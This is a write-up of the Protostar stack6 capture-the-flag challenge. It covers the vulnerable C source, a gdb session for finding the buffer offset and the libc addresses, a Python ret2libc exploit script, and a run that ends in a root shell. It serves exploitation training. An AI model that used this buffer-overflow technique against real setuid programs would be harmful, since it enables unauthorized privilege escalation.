Protostar stack06 writeup

2019-12-26

We are given a source code for this challenge.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

in the description of this challenge, it recommends to use ret2libc. Why? because of these lines of codes,

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

Because of these lines of codes, if you put any executable codes before the return address, the program will just exit out. So that’s why you need to use ret2libc

in order to use ret2libc in x86, the exploit should follow the format below(it does not always work)

offset+system address + exit address + /bin/bash

Let’s get the offset first for buffer[64]

(gdb) disas getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push   %ebp
0x08048485 <getpath+1>: mov    %esp,%ebp
0x08048487 <getpath+3>: sub    $0x68,%esp
0x0804848a <getpath+6>: mov    $0x80485d0,%eax
0x0804848f <getpath+11>:        mov    %eax,(%esp)
0x08048492 <getpath+14>:        call   0x80483c0 <printf@plt>
0x08048497 <getpath+19>:        mov    0x8049720,%eax
0x0804849c <getpath+24>:        mov    %eax,(%esp)
0x0804849f <getpath+27>:        call   0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:        lea    -0x4c(%ebp),%eax
0x080484a7 <getpath+35>:        mov    %eax,(%esp)
0x080484aa <getpath+38>:        call   0x8048380 <gets@plt>
0x080484af <getpath+43>:        mov    0x4(%ebp),%eax
---Type <return> to continue, or q <return> to quit---
0x080484f9 <getpath+117>:       ret    
End of assembler dump.
(gdb) b *getpath+43
Breakpoint 2 at 0x80484af: file stack6/stack6.c, line 15.
(gdb) r
Starting program: /opt/protostar/bin/stack6 
input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x080484b2 in getpath () at stack6/stack6.c:15
15      stack6/stack6.c: No such file or directory.
        in stack6/stack6.c
(gdb) x/10x $esp
0xbffff740:     0xbffff75c      0x00000000      0xb7fe1b28      0x00000001
0xbffff750:     0x00000000      0x00000001      0xb7fff8f8      0x41414141
0xbffff760:     0x41414141      0x41414141
(gdb) info reg eax
eax            0x8048505        134513925
(gdb) p $ebp
$1 = (void *) 0xbffff7a8

(I have cutted out some lines that were not needed)

in order to get the offset you can follow the following

ebp-start of buf[64]+4

Still the above formula is not completely true but logically it works.

so it will be

>>> 0xbffff7a8-0xbffff75c
76L

and 76+4 is 80 so the offset is 80

Now we need the address for system() and exit()

(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Lastely, the address of /bin/sh where it will be located under /lib/libc.so.6

user@protostar:/opt/protostar/bin$ strings -t d /lib/libc.so.6 | grep /bin/sh
1176511 /bin/sh

Now we can write an exploit

exploit.py

import struct

def go():
        base = "A"*80
        system_loc = 0xb7ecffb0
        libc_start = 0xb7e97000
        strings_offset = 1176511
        libc = libc_start+strings_offset
        exit_loc = 0xb7ec60c0
        payload = base
        payload += struct.pack("I", system_loc)
        payload += struct.pack("I", exit_loc)
        payload += struct.pack("I", libc)
        print payload

go()

Then run it

user@protostar:/opt/protostar/bin$ (python /tmp/exploit.py;cat)  | /opt/protostar/bin/stack6 
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�����`췿c��
whoami
root